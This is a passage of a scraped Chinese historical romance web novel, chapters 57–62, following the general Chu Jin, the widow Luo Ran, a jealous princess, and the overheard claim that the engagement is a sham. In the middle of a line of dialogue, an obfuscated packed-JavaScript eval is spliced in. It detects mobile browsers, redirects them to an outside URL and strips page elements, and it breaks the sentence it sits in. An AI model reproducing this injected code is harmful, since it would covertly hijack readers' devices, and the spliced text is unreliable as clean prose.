罗苒听见脚步声,抬头看见他,笑盈盈地站起来迎上去, “大爷,您回来了。” 楚烬没应,目光落在她被太阳晒得微微发红的小脸上, “你身上还有伤,不是让你卧床?春日风又大,吹着了怎么办。” 罗苒不以为意地笑了笑,语气轻松, “天暖了,总待在屋里也闷,爷给用的药效果太好了,几日伤口就结了痂,已经不打紧了……” 楚烬看着她那张笑脸,脑子里却不由自主地浮现出前几日察看她后背伤势的景象。 又薄又白的皮肤,鞭痕结痂后露出粉嫩的新肉,还有那截纤细的不盈一握的腰身,他好似一只手就能掐过来。 喉咙紧了紧,声音哑了几分,“不打紧了?” “嗯。” 罗苒点头,浑然不觉面前男人眼底的光已经变了。 “那我瞧瞧。” 话音刚落,楚烬伸手揽住她的腰,轻轻一提,像捞个布娃娃似的,把她整个人从地上捞了起来。 罗苒只觉得腰间一紧,双脚就离了地,本能地攀住他的肩膀,手指攥着他肩头的衣裳,脸红有些红。 “大爷……” 她的声音带着几分慌张, “孩子们……” 楚烬扭头看着被自己抗在肩上的小娘子,瞧着她红透的脸,看着那双水盈盈的又羞又慌的眼睛,嘴角弯了弯, “放心,他们会有人哄。” 说完,他抱着她大步往屋里走,头都没回。 …… …… 检查完伤口,罗苒脸红扑扑的,头发也有些乱,嘴唇微微肿着,眼里含着泪,也不知是疼的还是羞的。 她抿着嘴,把衣裳一层一层拢好,系带系得紧紧的。 从榻上下来,脚刚沾地就要往外走。 楚烬已经让人端了饭菜进来,摆了一桌子,精致可口,热气腾腾。 见她要走,大手一伸,揽住她的腰,轻轻一提就把人捞进了怀里,箍着她坐在自己腿上,不让她起来。 “这么着急要去哪?” “回屋看衍哥儿和小玥。” 罗苒被迫坐在楚烬大腿上,红着脸不肯看他。 他看着她又羞又恼的样子,嘴角弯了弯,眼底带着几分促狭, “你还没吃饭。” 罗苒别过脸去,腮帮子微微鼓着,嘴唇还肿着, 楚烬自是知道这小娘子在闹什么脾气。 “怎么了?”他明知故问,声音低低的,笑意根本压不住。 罗苒抿着嘴不说话。 过了好一会儿,才小声憋出一句, “您说只是帮我察看伤势……” 楚烬笑出了声,胸腔都在震, “我看了伤势,确实恢复得不错,至于后来……” 他顿了顿,“亲一下怎么了,之前又不是没亲过,比亲更过分的事我不也做过……” 罗苒的耳朵红得快要滴血,磕磕巴巴地说, “那,那您亲便亲了……手怎还不老实……” “那没办法,”楚烬声音低低的,带着几分理所当然的理直气壮, “你攀着我,眼睛水汪汪地看我,我怎能忍得住?” 罗苒又羞又恼,声音小了几分,“那你也不能咬我……那种地方……被衍哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467228|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿小玥看到怎么办……” 听罗枝这样说楚烬目光不由落在她胸脯上。 那里衣领遮着,可他记得清清楚楚,方才他在那细腻的皮肤上留下了一个好几个浅浅的牙印。 不重却红红的,印在白嫩的皮肤上,像一朵朵小小的桃花。 他喉结滚了滚,不以为意道, “小孩子又不懂……” “您……” 罗苒抬起头,瞪他一眼,可那双水盈盈的眼睛里哪有半点凶意,倒像是撒娇。 楚烬看着她那副被欺负急了开始凶人的模样,眼底的笑意更深了。 他低头凑近,气息拂过她耳廓,声音哑了些, “等你好了,我还要亲别的地方。” 罗苒被他这番糙话说得耳根都烧了起来,担心再说下去这人还要吐出什么更叫人羞恼的浑话来,便干脆抿着嘴不肯再开口了。 面前那桌精致的饭菜也不看一眼,只别过脸去,腮帮子微微鼓着。 楚烬看着她那副红着脸闹别扭的小模样,只觉得可爱得紧。 他挑了挑眉,嘴角噙着笑,慢悠悠地问,“怎么,不饿?” 罗苒不说话。 “可是要我喂你?” 罗苒抬眼看了他一眼,正对上他眼底那抹不怀好意的笑,心里顿时明白他说的“喂”定然不单纯。 她扭了扭身子,红着脸说, “那你放我下来。” 楚烬见她肯乖乖吃饭了,便不再逗她。 大手一松,把她放到一旁的椅子上,又拿起筷子给她挑了菜,一样一样夹到她面前的小碟子里,动作自然得很。 “你先吃着。” 他说,起身理了理衣袍,往门口走。 罗苒抬头看他, “您不吃吗?” “忙。” 楚烬说,“处理完正事再吃。” 罗苒看了一眼桌上那些还冒着热气的菜,忍不住小声说, “那菜不就凉了。” 楚烬回过头,看着她扬起的那张一本正经的小脸,眼底浮起一层柔和的光, “习惯了,打仗的时候,整日吃凉的。” 罗苒抿了抿嘴,脱口而出,“可那样对胃不好。” 第一卷 第58章 或许他们会是很好的一对 楚烬看着低着头耳尖红红的小娘子,分明前些时日还忌惮他忌惮的不行。 宁愿别人冒充自己,也不想跟自己扯上关系,如今却已经开始会主动关心他了。 心里软了一下,不由抬手,粗糙的大掌覆在她头顶,轻轻揉了揉,带着一种让人心口发软的宠溺。 “苒娘真好。” 那声音低低的,带着几分认真。 说完,他松开手,大步走了。 门在身后合上,屋里安静下来。 罗苒捏着筷子,低着头,脸还是红的。 头顶那只大手拂过的触感还鲜明地留着,好似也同样拂过她的心尖,怎么都挥不去。 转眼过了几日,到了初夏。 罗苒的伤彻底好了,那玉髓生脉露果然是好东西,后背的皮肤光洁如初,一点疤痕也没留下。 衍哥儿也早早学会了走路,整日跟在小玥后面满院子跑,小玥跑到东他就跟到东,小玥跑到西他就跟到西。 两个小东西咿咿呀呀的,把院子闹得热热闹闹的。 可府里的气氛却不像院子里这般轻松。 赵灵熙并没有因为上次的事死心,反而越挫越勇,变着法子找机会接近楚烬。 有一回甚至追到了军营去,楚烬回来时脸色铁青,可碍于她的身份,到底不好发作。 今日,楚烬被太后宣入了宫中。 谁都知道太后最疼赵灵熙,这时候召他入宫,想来是为了什么。 府里因为楚烬当众放话要娶罗苒的事,早就议论纷纷。 有说大爷一时冲动的,有说罗苒命好的,也有说这事成不了的…… 毕竟一个是堂堂镇国将军,一个是带着孩子的寡妇,门不当户不对,上头还有皇帝太后压着,哪有那么容易? 如今楚烬被太后召见,万一太后下了懿旨,要他娶公主,那可如何是好? 罗苒自然也听说了这些议论,可她心里并不怎么担心。 若是真到了那个地步,她带着小玥离开便是。 她不是十几岁的小姑娘了,不会盲目地去追求那些不属于自己的情爱。 虽然至今她也没想明白,楚烬那样的人,怎么就突然对她动了心,非她不娶。 可她活了这么久,早就明白一个道理。 人心是会变的。 她并不觉得楚烬会喜爱她到与所有人作对的地步。 所以若是真到了那一天,离开便是最好的选择。 她想得很清楚。 可心里还是有一点微微的酸。 傍晚时分,楚烬回来了。 楚烬进了门也不顾小玥和衍哥儿还在院子里玩,大步走到罗苒面前。 弯腰一把将人捞起来,抱在腿上。 粗糙的大手裹着她的手,慢慢揉着,拇指在她手背上一蹭一蹭的,亲昵又温柔。 他的面色如常,嘴角甚至还带着点笑意,好像今日进宫的事半点没放在心上。 这段时日楚烬对她很好,好得不像话。 罗苒不是铁石心肠,早就心动了。 可越是心动,她心里那点可惜就越浓。 楚烬真的是个顶好的人,若他没有那么高的身份,若他跟侯建功一样只是个普通百姓,日出而作日落而息,或许他们会是很好的一对。 没有门第之见,没有公主太后,没有人会跳出来说她配不上他。 可这世上又哪有什么如果。 …… …… 赵灵熙在楚烬身上行不通,便开始在罗苒身上找突破口。 楚烬见过太后的第二日,她便气势汹汹地来了楚府,径直去找楚烬。 一进门便看见他身边的罗苒,顿时怒目圆瞪, “你这贱人还有胆子在楚哥哥身边?” “公主,此地是楚府,不是您的公主殿,您来去自如,合适吗?” 看着径直闯入的赵灵熙,楚烬脸色沉冷,声音也带着凉意。 赵灵熙顾不上楚烬森冷的神情,而是指着罗苒道, “楚哥哥,你不要被这女人给骗了!你知道她是谁吗?” 楚烬扭头看了一眼身旁不明所以的罗苒,眉头皱起, “公主莫要胡闹。” “我没胡闹!” 赵灵熙声音尖锐,目光恶狠狠地落在罗苒脸上, “她!她就是您落崖重伤时,偷了您东西的那个贼妇!” 被压在心底以为早已被遗忘的事,竟被这样猝不及防地翻了出来。 罗苒像被人兜头泼了一盆冷水,脸色霎时惨白。 她脑子嗡嗡作响,下意识地攥紧了衣角,指尖冰凉。 赵灵熙看见她脸色,心里更加确定,冷笑道, “楚哥哥你看,她害怕了!她分明就是您当初要找的那个村妇!” “她偷了您的东西,定然不是什么好人,如今又千里迢迢潜入楚府,勾引您,定是有什么不可告人的目的……” “指不定是敌军派来的奸细!依我看,就该抓起来严刑逼供!” 罗苒慌了,慌忙看向楚烬,拼命摇头, “我没有……我没有……” 她知道赵灵熙既然敢来,必然是查到了什么,否认也没用。 她只能勉强让自己冷静下来,磕磕巴巴的解释, “去年确实是我在山谷里碰到了大爷……但您说的什么重要的东西,我并没有偷……我来楚府也完全是巧合,只是走投无路来投奔亲戚,并不是公主说的敌国奸细……” 赵灵熙冷笑一声,步步紧逼, “还敢狡辩?!谁会相信世上有这么巧的事?你前脚刚偷了楚哥哥的东西,后脚就跑他府上来投奔亲戚?” “我看你这个寡妇就是敌国派来的奸细,不怀好意!连着你那个亲戚和你的孩子,都不是好东西!来人,把这些人通通带入大牢!” 这事确实太过巧合,罗苒也不知道该如何解释,慌乱得眼眶发红,嘴唇哆嗦着,却一个字都说不出来。 赵灵熙带领的侍卫已然凶神恶煞地上前。 罗苒只觉得天旋地转,像是被人从悬崖上推了下去,耳边风声呼啸,抓不住任何东西。 “谁敢。” 楚烬沉冷声音不高,却带着足够的威慑力,让四周顿时安静了下来。 本要上前的侍卫也下意识停下了脚步,进也不是退也不是。 赵灵熙以为他舍不得,连忙劝道, “楚哥哥,你不要被这女人的外表骗了,她就是个彻头彻尾的骗子,不值得你维护……” 第一卷 第59章 正省去了从别人手中抢她的麻烦 楚烬没有看她,只是抬手,粗糙的掌心覆上罗苒微微发抖的手背,用力握住。 那温度传过来,像一团小小的火,把罗苒心里的慌乱烧出了一个缺口。 她抬起头,泪眼朦胧地看着他,薄唇依旧颤抖着,却说不出话。 “我一直都知道,” 楚烬开口,目光落在罗苒苍白的脸上,声音沉稳一字一句, “知道她就是那个村妇。” 赵灵熙愣住了,得意也僵在脸上。 楚烬没有看她,只是继续说道, “当时之所以大肆寻找,是因为我随身携带的国防图绣在了钱袋夹层里,醒来后发现钱袋被动过,担心国防图泄露,才会派人去查。又怕打草惊蛇,才谎称丢了重要的东西……” 他顿了顿,目光落在罗苒脸上,那双总是叫人看不透的眼睛里,此刻像是有什么东西在慢慢化开。 “有段时间,确实因找不到那人而有些伤脑筋,但后来国防图调整更改,便无碍了。” 罗苒听到这里,心里那根紧绷的弦微微松了一些,只听楚烬继续道, “其实,当时我大动干戈地查找,除了担心国防图泄露,也有私心。” 楚烬的声音低下来,他顿了顿,目光落在罗苒脸上,那双总是叫人看不透的眼睛里,此刻像是有什么东西在化开。 “那时我虽然因伤势过重意识不清,但也隐约记得她是怎样为我疗伤喂药……” 罗苒的脸不自然地红了,耳根烧起来,垂着眼不敢看他。 “我想,既然她那般不顾男女大防救了我,我自是要报恩的。若是她想让我负责,也不是不行……” 楚烬说到这里,嘴角微微弯了弯,像是在笑自己当时的念头, “可之后,任我怎么挨家挨户查找,都没有找到她。后来边防战事吃紧,我痊愈后去了前线,这事便放了下来。” 他说这话时,目光始终没有从罗苒脸上移开。 握着她手的那只掌心又热又有力,像带着火苗把她冰凉的手指一点一点地焐热。 罗苒心中像是有什么东西在翻涌,堵在喉咙口,酸酸胀胀说不出是什么滋味。 “后来我在楚府看到刚来的奶娘,第一眼便觉得她娇娇软软长得实在漂亮,后又觉得似曾相识……但后来再见,便认出来了……” 他顿了顿,拇指在她手背上轻轻蹭了一下, 罗苒发红的眼睛不由睁大,实在没想到这男人竟然早在最初那几面就将她认了出来。 想到她那时心惊胆战遮遮掩掩,实在是有些可笑。 “只不过这一切确实太过巧合,最初我也怀疑或许是有人刻意为之。” 楚烬看向一脸震惊的赵灵熙,声音沉稳, “我派人暗中查过,已经排除了她另有所谋的嫌疑。” 他顿了顿,目光再次落回在罗苒脸上,目光坦然,带着一种从未有过的笃定, “我对苒娘的感情,并不是外人想的贪恋美貌或者一时兴起,她是我的救命恩人……早在山洞里,我意识不清地看到她的那一刻,便对她一见钟情,疯了一样地想对她负责……” 赵灵熙的脸色变了又变,嘴唇哆嗦着,还是忍不住挤出一句, “可她是个死了男人的寡妇。” 楚烬轻笑一声,“你看不起她是寡妇,但对我而言,那正合我意……” 语气幽幽的补充,“正省去了从别人手中抢她的麻烦……” 赵灵熙更加震惊,瞪大了眼睛,嘴唇翕动了几下,却一个字都说不出来。 “我知道公主疑惑,为何昨日本该下懿旨赐婚的太后忽然收回了成命。” 楚烬看着赵灵熙,语气不紧不慢, “公主的疑惑应当解除了吧?” “我们国家崇尚仁义,皇家更是看重名誉,若是强迫真心喜爱的救命恩人做妾室或平妻,那怕是要被世人诟病,说皇家无情无义,说我忘恩负义……这样的名声,我楚烬担不起,皇家也担不起。” 话说至此赵灵熙又怎能不清楚她和楚烬之间已再无可能。 咬着唇,眼眶通红,站在那里僵了片刻,终于转身头也不回地离开。 屋里安静下来,只剩下窗外的风声和两个人交错的呼吸。 罗苒站在原地,腿还在发软,心跳砰砰直跳。 心中说不出的感觉。 楚烬对她的感情她从不敢多想,不敢深信,不敢把那点卑微的期盼从心底翻出来。 她怕自己一厢情愿,怕自己自作多情,怕到头来只是一场空欢喜。 可原来,他早就知道她是谁。 原来,他说得负责,从来不是随口说说。 房间静了一瞬,楚烬一只握着罗苒的手突然用力,将人又拽近几分。 他低头看着面前还红着眼圈的小娘子,神情专注认真,低沉的声音带着几分郑重的温柔, “我楚烬从来说一不二,我知道以往我说要娶你,你便觉得我是在说笑……现在,你可是信了?” 罗苒抿着唇,黝黑的眼眸中还带着惶恐无措,一时竟不知该如何回答。 “再等我三个月,战事结束,我便风风光光回来,娶你为妻。” 意识到楚烬这次显然不是一时兴起,那些原本因罗苒出身而暗地里瞧不起她的下人们,态度一下子变了。 见了面不再是爱答不理,而是客客气气地喊一声“罗娘子”,眼神里多了几分真心的敬重。 日子忽然变得不一样了。 偏院的赏赐依旧不断,一箱一箱地往里抬。 管家开始张罗婚礼事宜,量尺寸、裁喜服、定日子,来来往往的人进进出出,忙得脚不沾地。 楚烬还特意让管家拨了好几个丫鬟过来伺候,说是先熟悉着,待成婚后,这些人便可作为亲信跟着她。 罗苒起初有些不习惯,她一个缝补浆洗惯了的乡下妇人,忽然被人伺候着穿衣梳头,浑身都不自在。 她跟楚烬提及,楚烬虽没有把那些丫鬟下人撤走却私下吩咐了管家,罗娘子不习惯的事,不要勉强。 罗苒最终还是把那些丫鬟都遣回了原来的差事,只留了两个帮忙打扫院子的粗使婆子。 她还是习惯自己动手,给小玥缝衣裳,给衍哥儿做辅食,洗衣裳,收拾屋子,样样亲力亲为。 第一卷 第60章 等风头过了,将军想怎么处置都行 罗苒不再忐忑了。 那些日子里的患得患失,那些压在心头的自卑和不安,像被春风吹散的薄雾,彻底消散无踪。 她信楚烬,信他的眼神,信他的承诺,信他每次喊她“苒娘”时眼底那抹不容置疑的笃定…… 她开始感激命运,感激那场大雪那个山谷,感激他在重伤时攥住她衣角的那只手。 若不是那些,她这辈子都不会遇见他。 她开始主动回应楚烬的好。 他来看她的时候,她不再躲闪,不再低着头不说话,而是会放下手里的针线,迎上去,笑着喊一声“阿烬”。 那声“阿烬”又轻又软,尾音微微扬起,带着一种连她自己都没察觉的依赖和欢喜。 楚烬听着那声声“阿烬”,眼底的光柔得几乎要溢出来。 他会伸手揉揉她的头顶,粗糙的掌心贴着她的发丝,慢慢滑下来,带着一种让人安心的力道。 她靠在他怀里,听着他沉稳的心跳,觉得这辈子就这样的话也挺好。 就在罗苒以为他们会这样一直下去时,边关的形势忽然紧张起来。 楚烬整日待在军营里练兵,早出晚归,有时候连着好几天都不回府。 罗苒心里惦记着他,便经常做一些餐食送过去。 她的手艺好,做的饭菜精致可口,每次去都会多做一些,分给营中的其他将领。 一来二去,军营里那些糙汉子都知道将军有个心灵手巧的未婚妻,人人艳羡,说将军有福气。 出发在即,楚烬又是好几日没回府。 罗苒舍不得他,往军营跑得更勤了。 这日,她熬了一锅汤,用食盒装了,又备了几样小菜,往军营送去。 她到的时候,楚烬正在帐中与几个将领议事。 她把多余的汤分给其他将士,便进了楚烬的营帐等着。 等的时间长了,汤便凉了,担心楚烬喝凉的伤胃,便拎着食盒出来,想去厨房温一下。 刚走出帐子,就看见楚烬下属小将谢冲和卫岚正站在不远处说话。 这几日她常来送饭,跟他们也算相熟了。 正想喊他们来喝汤,就听见他们的谈话声飘了过来。 “听说公主和亲去了……” 谢冲的声音压得有些低,却还是清清楚楚地落进了罗苒耳朵里, “看样子,将军这回可是把公主彻底伤了心。” 卫岚叹了口气, “那也是没办法的事,皇帝这次招将军回来,就是想要招他做驸马,所有人都知道驸马看着矜贵却没有实权,将军怎会愿意?但公主对他实在情深三番两次婉拒都不行……” 他顿了顿,“好在突然冒出来一个罗娘子……” 谢冲点头, “听说罗娘子又给将军送汤了,还给其他将士也带了些,真是人美心善,将军有福气……” 罗苒被夸得有些脸红,正要走过去,却听谢冲话锋一转,语气里多了几分同情, “若是知道将军骗她,她该有多伤心?” 罗苒的脚步猛地顿住了,眨了眨眼有些怔愣。 楚烬骗她?骗她什么? 卫岚应道,“是啊,将军为了不当驸马,拿救命恩人当挡箭牌,既堵了皇帝和太后的嘴,又全了自己的名声,一箭双雕……只是,对罗娘子来说,确实有些太不道德了……” 谢冲接话道,“但那也是没办法的事,皇帝最看重忠义二字,将军为了报恩,娶救命恩人为正妻,合情合理,谁都说不出什么。更何况那罗娘子是个寡妇,不像那些世家小姐需要顾忌名声,又没有家世背景,好拿捏……等风头过了,将军想怎么处置都行……” 谢冲沉默了片刻,声音更低了, “只希望将军以后能给她个好的归宿吧。” “难说。” 卫岚话语中带着同情, “我看罗娘子如今对将军是动了心的,难得一步登天的机会,到时定会纠缠一番……将军的性子咱们又不是不知道,冷硬起来可怕得很。惹怒了他,指不定连之前的恩情也顾不上了,随意打发了也是有可能的……” 两人便说边走远,后面的话,罗苒听不清,也无心在听。 她只觉得耳边嗡嗡作响。 手里的食盒沉甸甸的,坠得她手臂发酸,可她站在那里,一动也动不了。 缓了好一会儿才彻底理清了那两人的对话。 她低下头,看着食盒里那碗凉透了的汤,忽然觉得自己可笑极了。 她一直以为,他看她的眼神,喊她“苒娘”时的温柔,都是因为喜欢。 她以为那些好和承诺,那些在所有人面前说的“我只会娶我想娶之人”,都是真的…… 她以为,她是真的走进了他心里。 可原来,她只是一个挡箭牌,一个用来搪塞皇家的借口,一个用来成全他忠义名声的工具。 一个寡妇,不需要名声,没有家世背景,好拿捏也好处置。 等风头过了,想怎么打发都行…… 罗苒背后只感觉似有毒蛇爬过,遍体生寒。 胸口尖锐地疼痛起来,心跳似乎停了那么一下,她慌忙抬手捂住胸口,才感觉到身体竟然颤抖得厉害。 她想起楚烬说的话…… “再等我三个月,战事结束,我便风风光光回来,娶你为妻。” 他说这话时的眼神,笃定的,认真的,不像是在骗人。 可这三个月搞不好也只不过是一个拖延的期限罢了。 等风头过去,等公主和亲,等世人不再议论,她便没有用了。 到那时候,楚烬又会怎么处理她? 是让她带着小玥离开? 还是留下来,做一个空有其名的将军夫人? 她不知道。 她只知道,她信得那样深,到头来却是一场空。 身后似乎有动静。 罗苒转过头,楚烬正站在她身后不远处。 他穿着那身玄色劲装,腰间束着皮带,衬得身形挺拔魁梧。 也不知他在这站了多久,那双沉沉的眸子正定定地看着她,看不出什么情绪。 一阵风刮过,吹落了罗苒一缕碎发,在她苍白的脸颊边轻轻飘着。 她黝黑的眼眸睁得大大的,一眨不眨地看着面前这个男人…… 第一卷 第61章 既是假的,又何必强求 刚毅俊朗,孔武不凡,浑身上下找不出一丝破绽。 “苒娘。” 楚烬喊她,上前一步,作势要和之前一样去牵她的手。 罗苒慌忙后退了一步,避开了他伸来的手。 漂亮的眼眸中带着隐隐抗拒,却依旧紧紧盯着楚烬的脸,用力地看着,像是要把那张完美无缺的脸看出裂缝和破绽。 可依旧什么都没有…… 那张脸上仍是平日里的神情,沉稳从容,看不出半点异样。 罗苒只觉得那种毛骨悚然的感觉更厉害了…… 他明明听到了,明明知道她也听到了,却还能这样若无其事地看着她,喊她“苒娘”,好像什么都没发生过。 “怎么了,苒娘?” 楚烬看着她惨白的脸,眉头微微皱了一下。 却没有半点要解释什么的意思。 是觉得没有必要对她解释,还是觉得她知道了正好? 罗苒努力让自己冷静下来,忍着胸口翻涌的酸涩,低头看着手中的食盒,声音尽量放得平稳,像什么都没发生过, “汤凉了,不能喝了……我下次再给大爷送吧,时候不早了,我先回了……” 她说完,转身便要离开。 “我送你。” 楚烬的声音从身后传来,人也大步跟上。 罗苒脚步顿了一下,没有回头。 难得他那么忙,却执意要送她,她不知道该觉得荣幸还是该觉得讽刺。 马车平稳地前行,车轮碾过青石板,发出咕噜咕噜的声响,单调又沉闷。 马车内两个人各坐一边,心照不宣,一路上谁都没有说话。 车厢里安静得能听见彼此的呼吸声,一重一浅,交错在一起,却比任何时候都让人觉得遥远。 临到楚府的时候,罗苒才开了口。 她的声音低哑,像是在跟自己说话, “大爷收留我和小玥,也是有恩于我,若是想要拉我同您演戏,大可直说,何必把自己也搭进去?” 她顿了顿,声音更轻了, “好在还未成婚,现在寻个借口取消也来得及,我也可以带着小玥离开……” 楚烬看着面前这个表情平静地说着要离开他的女人。 明明软软弱弱的,在感情上却意外地果断。 分明昨日她还窝在自己怀里,软软地喊他“阿烬”,看着他的眼睛都是亮晶晶的,转眼却可以淡漠地说出这种话。 眸光沉了下来,楚烬的声音也冷了几分, “你带着一个孩子,在这人生地不熟的帝都,还能去哪?” 罗苒依旧不看他,低着头,看着自己袖口上绣着的精致纹绣 “去哪都行。” 她喃喃开口,“如今小玥大了,不像之前吃奶那么累人了……总归能寻个去处。” 她的睫毛浓密,低垂着,在眼下投下一小片扇形的阴影。 小脸白得近乎透明,像一尊瓷做的娃娃,轻轻一碰就会碎。 她总是这样,除了动不动会表现的惧怕胆怯之外,好像对什么都不太上心。 楚烬自然能感受到这段时日罗苒对他的情谊。 他也曾想过,她知道后会是什么样子…… 也许会质问,也许会生气甚至会哭闹。 却没想到,她会是这样一副好似无所谓的淡然模样。 心中腾起一股浓重的不悦,浓眉不由皱了皱,索性不再看她,声音冷硬起来, “公主前脚出嫁,你后脚就从楚府离开,皇家岂是那么好糊弄的?到时欺君之罪压下来,何止楚家上下,连那小丫头也要受牵连。” 罗苒抿紧了嘴,不得不承认楚烬说得有道理。 她沉默了半晌,才又说, “那等风头过了,我们再离开。” 楚烬似乎极度不喜欢这个话题。 他不明白这女人为什么只想离开。 他深吸一口气,声音低了几分,像是在压着什么, “苒娘,我楚烬说话算话,既然说过会娶你,定然不会食言。” 罗苒终于肯抬起头,看着楚烬。 她的眼眶红红的,却没有泪,她的声音轻柔,却带着一种从未有过的疏离, “大爷,这将军夫人的位置,在旁人看来是梦寐以求的。可若是没有感情,只是一个位份,那和妾室姨娘又有什么不同?” 她的声音微微发颤,像琴弦被拨了一下,余音袅袅,带着一种说不出的酸涩, “之前我对大爷有心,是因为觉得大爷爱我,觉得我们之间有情谊……可如今既是假的,又何必强求……” “没有感情,大爷往后可以找无数姨娘妾室。而我,不过是个占了正妻名头的摆设。这样的日子,我不要……” 马车停了下来,罗苒掀开车帘,跳下车,头也不回地走进了楚府的大门。 她的背影瘦瘦小小的,在暮色里越来越远。 那日之后,罗苒不再去军营送饭,不再笑着喊楚烬“阿烬”,甚至连看他的眼神都变得淡淡的,像看一个不相干的人。 她依旧每日照顾衍哥儿和小玥,空闲时间去库房对账,规规矩矩,挑不出半点错处。 可面对楚烬时,那声“大爷”叫得客气而生疏,像隔着厚厚一层。 楚烬的脸色也一天比一天沉。 往日来衍哥儿院时的热络劲儿不见了,取而代之的是隔着门槛远远望一眼便转身离去的冷淡。 罗苒也不再像从前那样笑着迎上去,而是行了礼便退到一旁,垂着眼,不多看不多说。 两个人之间的关系变化的如此明显,连院子里的下人都看出了端倪。 不消多时,便意识到他们家大爷和罗苒闹翻了。 又过了些时日,也不知是从哪儿传出的消息,楚烬拿罗苒当挡箭牌拒公主婚事的事,很快在府里传开。 这些府中下人向来捧高踩低,见风使舵,现实得很。 得知这真相后,便都觉得之前大爷对罗苒的维护偏袒,不过是为了装深情给赵灵熙看罢了。 背地里,对罗苒的议论便多了起来。 有同情的,有幸灾乐祸的,也有等着看好戏的。 如今赵灵熙已经去和亲,皇室也不再盯着楚烬的后院了,自然不需要再演戏了。 众人一致认为,楚烬很快便会随便寻个理由悔婚。 罗苒俨然成了府里的笑柄,走到哪里都有人在背后指指点点。 第一卷 第62章 这不是你的错 罗苒遇到裴济,才意识到那日他来送桃花酥后便在未见过,如今竟已有一个多月了。 裴济似乎瘦了些,一身白衣穿在身上,越发显得清俊,只是眉宇间多了几分沉郁。 “裴公子……” 罗苒打了招呼,垂着眼便要离开。 裴济却叫住了她,嘴唇动了动,欲言又止,最后还是斟酌着开了口, “罗娘,你最近可还好?” 罗苒知道裴济定然也听说了近日的事,他这般问,大约是在关心她。 她淡淡地回了一句, “有劳裴公子记挂,我还好。” 裴济沉默了一瞬,目光落在她脸上,像是在确认她说的“还好”是不是真的。 片刻后,他又问, “那些传闻……可是真的?” 罗苒点了点头,没有多说。 裴济的眉头微微拧了一下,似乎在犹豫着什么。 半晌,他才开口,声音比方才低了几分, “罗娘,跟我走吧。” 罗苒抬起头,有些诧异地看着他。 没想到,如今府里上上下下都在看她的笑话。 人人都觉得她是个被利用完就该扔掉的可怜虫,可裴济偏偏在这时候对她说出这样的话。 裴济苦笑了一下,声音低沉而认真, “之前之所以没有再继续纠缠你,是因为我以为你和楚烬互相有真心,我虽不甘心,但也知道不该插足,可如今看来……他根本不配。” 他顿了顿,目光落在她脸上,带着一种让人无法怀疑的诚恳, “裴家虽比不上楚家富贵,但也算比上不足比下有余,而我定然会对你一心一意,不会欺骗你,更不会辜负你。” 罗苒却并未多想摇了摇头,嘴角扯出一个有些苦涩的弧度, “裴公子,这世间优秀的女子有很多,以你的才貌,定能找到更好的,实在没必要再在我身上浪费时间。” “我如今这样……你若是同我走得太近,也只会连累你一同被人笑话。” 经历了楚烬的事,她真的不敢再轻易相信任何人了。 那些看似真诚的话,温柔的眼神,信誓旦旦的承诺,到头来都可能是一场精心设计的骗局。 “裴公子,” 她抬起头,声音轻柔却带着一种疏离的客气, “这世间优秀的女子有很多,以公子的才貌,定能找到更好的,实在没必要在我身上浪费时间。” “罗娘,这不是你的错。” 裴济的声音微微拔高了些,像是在替她不平, “是楚烬的问题,你也是被他利用了。” 罗苒抿着嘴,没说话。 她当然知道这不是她的错,可知道又怎样? 世人不这么看。 在那些人眼里,她就是一个妄图攀附权贵的寡妇,活该被利用,活该被抛弃。 她懒得解释,也解释不清。 裴济看着她低垂的眉眼和听到的那些流言蜚语,知道遭到这一回,罗苒定然不敢再轻易相信男人。 深吸一口气,他像是在做一个很重要的决定,然后缓缓开了口。 “罗娘,你可知我这么大年纪还没成亲,不是没有缘故的……” 他眼底带着藏不住的涩意,顿了顿,才又开口, “我……原有一个青梅竹马的未婚妻,我们情投意合,本早该成婚了……可成婚前一年,我出了意外,伤了根本……不能人事。” 罗苒猛地抬起头,盯着裴济的脸,眼底满是诧异。 她没想到,裴济会把这样的事告诉她。 裴济苦笑了一下,那笑容里没有自怜,只有一种被岁月磨平了的无奈。 “她家里知道后,极力反对这门亲事,她不肯退婚,和家里抗衡了五年。” “最后是她母亲以命相逼,她才含恨退了婚。” 他垂下眼,嘴角扯出一个苦涩的弧度, “是我耽误了她。” 风吹过回廊,把两人的衣角吹得轻轻摆动。 罗苒看着裴济清瘦的脸,心里忽然有些发酸。 她以为只有女人会被命运捉弄,原来男人也会。 裴济却再次抬起头,看着罗苒,目光坦然, “我本以为,这辈子不可能再遇到可以真心付出的人了,直到遇见了你……” “罗娘,我感觉你就是上天特意派到我身边来的。” 他的目光落在她脸上,带着一种小心翼翼的温柔, “如今你也知道了我的情况,我并没有半点想要戏弄你,利用你的想法,我是真真切切觉得我们二人合适……” “若你愿意跟我走,小玥便会是我们唯一的孩子,我会将她视如己出,绝不会让她受半点委屈。” 他顿了顿,声像是在承诺, “我这个人,旁的不好说,但至少不会骗你,我们成亲之后,更不会有其他心思……你若真的愿意,我定会拿命对你好……” 罗苒站在原地,看着裴济那双清亮的眼睛,一时竟不知该说什么。 一个男人,把这种事说出来,需要多大的勇气? 那等于把自己最脆弱不堪的一面毫无保留摊开在她面前。 显然是真的想要和她在一起,而不是一时冲动,也不是可怜她。 裴济见她沉默,又开口了,声音温和,像是在替她着想, “你若是不放心,我先带你去北方,毕竟帝都人多眼杂,是非也多,你一个妇人带着孩子,没个照应,日子确实难捱……” “就算去了北方,我们不在一起也没关系,你觉得合适了,我们再在一起,你若觉得不合适,我便帮你和小玥安顿好,绝不多纠缠。” 裴济的提议很诱人。 罗苒清楚,如今自己这样的情况,离开这里确实是最好的选择。 可楚烬显然近期并不想让她走,要捱到什么时候,全凭他的心情。 若能跟裴济离开,也算是合情合理。 就算皇家知道,便说自己移情别恋临时变卦,也算解释得过去。 只是,要带着小玥去北方,她还是觉得太过冒险。 她不是不信裴济,她是不敢再轻易把自己的命交到别人手上了。 裴济看出她的犹豫,倒也不步步紧逼,反而体贴地笑了笑, 